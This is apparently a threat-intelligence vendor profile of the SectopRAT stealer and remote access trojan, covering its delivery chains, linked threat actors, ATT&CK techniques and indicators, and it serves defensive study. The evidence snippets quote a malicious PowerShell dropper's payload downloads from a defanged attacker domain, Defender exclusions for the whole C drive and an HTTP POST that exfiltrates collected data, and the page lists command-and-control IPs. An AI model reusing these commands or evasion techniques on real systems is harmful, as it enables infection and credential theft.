Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
MalwareUsed by 5 actors

SectopRAT

SectopRAT is a .NET-based information stealer and remote access trojan, also tracked in the provided reporting as ArechClient and Arechclient2, and described as active since at least 2019. Across the cited campaigns it is consistently used as a final payload or secondary payload delivered by other malware and loaders including ACRStealer, StealC, CastleLoader, BabaDeda Loader, GHOSTPULSE, HiJack Loader/IDAT Loader, NetSupport RAT, and ClickFix-driven chains. Delivery vectors mentioned in the content include malicious PowerShell droppers, fake browser or software update lures, fake Google verification and CAPTCHA/ClickFix pages, trojanized installers, signed malicious MSIX packages, ZIP archives, DLL side-loading chains, compromised WordPress sites, malvertising, SEO poisoning, and fraudulent Google Ads redirects.

The malware is described as combining stealer and RAT functionality. Reported capabilities include theft of browser credentials and cookies, browser session hijacking, theft of email client data, cryptocurrency wallet theft, harvesting of application credentials and installed software information, language discovery, storage enumeration, process injection, privilege manipulation, PowerShell execution, persistence, webcam access, and keylogging. Reporting also notes that RAT-class use of SectopRAT can enable hands-on-keyboard activity such as discovery, lateral movement, and persistence. In one analyzed chain, the final SectopRAT payload targeted browser credentials, email clients, and cryptocurrency wallets.

Observed tradecraft around SectopRAT delivery includes reflective .NET assembly loading, AES-256-CBC decryption, Donut shellcode injection, direct NTDLL syscalls, AMSI bypass by patching the CLR amsi.dll reference in memory, fiber-based shellcode execution, process doppelgänging, DLL side-loading, in-memory PE loading, Windows Defender exclusions, reconnaissance, exfiltration, and cleanup/self-deletion. One PowerShell delivery script downloaded SectopRAT from fancysunshine[.]top, added Defender exclusions for C:\ and selected processes, queried ifconfig.me/ip, collected the USERNAME value, checked for a scheduled task named MSSecurity, exfiltrated result.txt to upload.php on the same domain, and deleted artifacts afterward.

The content links SectopRAT to multiple criminal ecosystems and campaigns. It was observed in StealC-linked activity by Proofpoint and IBM X-Force; in TAG-150/GrayBravo infrastructure and delivery chains documented by Recorded Future and Breakglass Intelligence; in ClearFake campaigns using EtherHiding and BNB Smart Chain testnet smart contracts; in GrayCharlie/SmartApeSG compromises of U.S. law firm WordPress sites; and in Slack-themed malware campaigns. Breakglass Intelligence assessed shared infrastructure between ACRStealer and SectopRAT as strong evidence of a single operator running both the Go-based ACRStealer and the .NET-based SectopRAT.

High-confidence infrastructure and indicators directly mentioned in the content include fancysunshine[.]top and its path /s8dj3bh9w877/ for payload delivery and exfiltration; a SectopRAT sample observed by Elastic retrieving C2 information from Pastebin and connecting to 195.201.198[.]179:15647; TAG-150-associated SectopRAT C2 communications on TCP ports 15647, 15747, 15847, 15947, 14367, and 9000; and Breakglass-identified SectopRAT C2 servers 94[.]26[.]106[.]216, 89[.]110[.]107[.]177, 144[.]31[.]90[.]139, and 194[.]150[.]220[.]218, with 94[.]26[.]106[.]216:9000 responding on /wbinjget and /wmglb. Additional reporting places SectopRAT-related infrastructure within broader malicious hosting clusters such as AS202412/OMEGATECH and notes overlap with AmateraStealer and NetSupport RAT infrastructure.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
GrayBravo

These malware families are frequently observed as initial infection vectors that deliver a wide range of secondary payloads, including SectopRAT, WarmCookie, HijackLoader, NetSupport RAT...

via recorded future blogrecordedfuture.com
Gamaredon Group

The PowerShell dropper ( bruce.php ) unpacks through five stages -- XOR decryption, reflective .NET assembly loading, AES-256-CBC decryption, Donut shellcode injection via raw NTDLL syscalls -- before deploying the final SectopRAT info-stealer targeting browser credentials, email clients, and cryptocurrency wallets.

via breakglass intelintel.breakglass.tech
UAC-0050

…XENORAT, SECTOPRAT, MARSSTEALER…

via cert uacert.gov.ua
SmartApeSG

Operators connect via C2, run system reconnaissance, and can drop SectopRAT as a secondary payload.

via cyber security newscybersecuritynews.com
GrayCharlie

Operators connect via C2, run system reconnaissance, and can drop SectopRAT as a secondary payload.

via cyber security newscybersecuritynews.com
MITRE ATT&CK

Techniques & procedures

35 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

2 techniques
T1583.001DomainsEvidence1

MITRE ATT&CK Mapping Tactic Technique ID Notes Resource Development Acquire Infrastructure: Domains T1583.001 casyetnx[.]pw via CNOBIN, hosting via dataforest/VDSINA

T1584.004ServerEvidence1

MITRE ATT&CK Mapping ... Resource Development Compromise Infrastructure T1584.004 Compromised acecareer.edu WordPress for payload hosting

Initial Access

1 technique
T1189Drive-by CompromiseEvidence1

ClearFake spreads by compromising legitimate websites and injecting hidden JavaScript code into their pages. Victims do not need to do anything suspicious to get infected. Simply visiting a tampered legitimate site can trigger the malware’s multi-stage delivery chain.

Execution

6 techniques
T1053.005Scheduled TaskEvidence1

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...

T1059.001PowerShellEvidence2

During routine malware analysis, I discovered a PowerShell-based dropper script being delivered from a malicious C2 domain... This script disables security controls, fetches 2 payloads (SectopRAT, HiJack Loader), exfiltrates data, and removes all traces of its execution.

T1059.006PythonEvidence1

Stage 3 -- Legitimate Python Binary : The ZIP extracts to a directory containing FNPLicensingService.exe -- which is actually a renamed, legitimately signed CPython 3.15 pythonw.exe... Stage 4 -- Obfuscated Python Loader : chrome_100_percent.pak ... is an ASCII text file containing obfuscated Python code.

T1106Native APIEvidence1

After decryption, the loader allocates executable memory via NtAllocateVirtualMemory, writes the shellcode, and creates a new thread with NtCreateThreadEx. Both calls go directly to NTDLL, bypassing the Win32 API layer where most EDR products place their hooks.

T1204User ExecutionEvidence2

Then S-D.exe is executed from each extracted directory.

T1204.002Malicious FileEvidence1

The user copies and pastes a PowerShell command into their own terminal, bypassing email security gateways, browser sandboxes, and most EDR behavioral triggers that watch for automated script execution.

Persistence

2 techniques
T1053.005Scheduled TaskEvidence1

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...

T1547Boot or Logon Autostart ExecutionEvidence1

MITRE ATT&CK Mapping ... Persistence Boot or Logon Autostart T1547 SectopRAT standard persistence

Privilege Escalation

2 techniques
T1053.005Scheduled TaskEvidence1

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...

T1547Boot or Logon Autostart ExecutionEvidence1

MITRE ATT&CK Mapping ... Persistence Boot or Logon Autostart T1547 SectopRAT standard persistence

Stealth

8 techniques
T1027.002Software PackingEvidence1

MITRE ATT&CK Mapping ... Defense Evasion Software Packing T1027.002 Reversed Base64 + Zlib compression

T1036.005Match Legitimate Resource Name or LocationEvidence2

MITRE ATT&CK Mapping ... Defense Evasion Masquerading T1036.005 FNPLicensingService.exe (renamed pythonw.exe)

T1070.004File DeletionEvidence1

Before exiting, the malware removes: All downloaded ZIPs and folders The exfiltrated result file Itself via a helper script deleter.ps1

T1140Deobfuscate/Decode Files or InformationEvidence1

The chrome_100_percent.pak file decodes through three distinct layers... reverse string, base64 decode, zlib decompress ... rolling XOR decrypts embedded SectopRAT PE

T1218System Binary Proxy ExecutionEvidence1

Architecture gate: Forces relaunch in 32-bit PowerShell via $env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe... MITRE ATT&CK Mapping... T1218 32-bit PowerShell relaunch via SysWOW64.

T1497Virtualization/Sandbox EvasionEvidence1

Four contracts served distinct roles: Smart Contract A delivered the anti-analysis dispatcher...

T1497.001System ChecksEvidence2

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity, and writes results to a result.txt file.

T1620Reflective Code LoadingEvidence1

After decryption, the result is a valid PE32 .NET assembly loaded directly into memory via [System.Reflection.Assembly]::Load() -- entirely fileless.

Credential Access

3 techniques
T1056Input CaptureEvidence1

Victims saw a convincing fake Google reCAPTCHA overlay complete with an “I’m not a robot” checkbox. Clicking it triggered the ClickFix social engineering panel...

T1555Credentials from Password StoresEvidence1

ACRStealer, a C++ infostealer that harvests passwords, credit card numbers, cookies, and cryptocurrency wallet data.

T1555.003Credentials from Web BrowsersEvidence1

SectopRAT... Browser credential theft -- Chrome, Firefox, Edge profile data, saved passwords, cookies.

Discovery

5 techniques
T1016System Network Configuration DiscoveryEvidence1

The malware collects the victim’s external IP address... $externalIP = Invoke-RestMethod -Uri "http://ifconfig.me/ip"

T1033System Owner/User DiscoveryEvidence1

The malware collects the victim’s external IP address and username... $username = $env:USERNAME

T1497Virtualization/Sandbox EvasionEvidence1

Four contracts served distinct roles: Smart Contract A delivered the anti-analysis dispatcher...

T1497.001System ChecksEvidence2

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity, and writes results to a result.txt file.

T1518Software DiscoveryEvidence1

SectopRAT... Software inventory -- enumeration of all installed applications.

Collection

6 techniques
T1005Data from Local SystemEvidence3

Stage 9: Data Theft Browser credential/cookie theft Cryptocurrency wallet theft Application credential harvesting

T1056Input CaptureEvidence1

Victims saw a convincing fake Google reCAPTCHA overlay complete with an “I’m not a robot” checkbox. Clicking it triggered the ClickFix social engineering panel...

T1114.001Local Email CollectionEvidence1

SectopRAT... Email client harvesting -- Outlook and Thunderbird data extraction.

T1115Clipboard DataEvidence1

Clicking it triggered the ClickFix social engineering panel, which simultaneously injected a malicious command directly into the victim’s clipboard.

T1185Browser Session HijackingEvidence1

SectopRAT, a .NET-based Remote Access Trojan capable of hijacking browser sessions

T1560Archive Collected DataEvidence1

The script uses Invoke-WebRequest to pull two ZIP archives from the same C2... Each ZIP is extracted to a fake Chrome cache folder inside %TEMP%.

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence3

In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address.

T1071.001Web ProtocolsEvidence2

Stage 8: C2 Communication HTTP to 94[.]26[.]106[.]216:9000 /wbinjget -- heartbeat ... /wmglb -- payload/config download

T1105Ingress Tool TransferEvidence5

The script uses Invoke-WebRequest to pull two ZIP archives from the same C2... Invoke-WebRequest -URI https://fancysunshine[.]top/s8dj3bh9w877/NC.zip -outfile $file ... Invoke-WebRequest -URI https://fancysunshine[.]top/s8dj3bh9w877/RD.zip -outfile $file1

T1571Non-Standard PortEvidence2

MITRE ATT&CK Mapping ... Command and Control Non-Standard Port T1571 Port 9000

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

Then, it exfiltrates the result via an HTTP POST to: https://fancysunshine[.]top/s8dj3bh9w877/upload.php Payload structure: multipart/form-data, with result.txt and a folder tag report.

Other

1 technique
T1562.001Disable or Modify ToolsEvidence1

The script attempts to evade detection by creating Windows Defender exclusions for the entire C drive and two known processes often abused in malware campaigns. Add-MpPreference -ExclusionPath $folderPath Add-MpPreference -ExclusionProcess $processName Add-MpPreference -ExclusionProcess $processName1

INDICATORS OF COMPROMISE

IOCs tracked for this family

152 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
121 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
24 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
7 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app4 days ago
ip.v4●●●●●●●●●●●●View more in app23 days ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching152

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution5

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping35

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.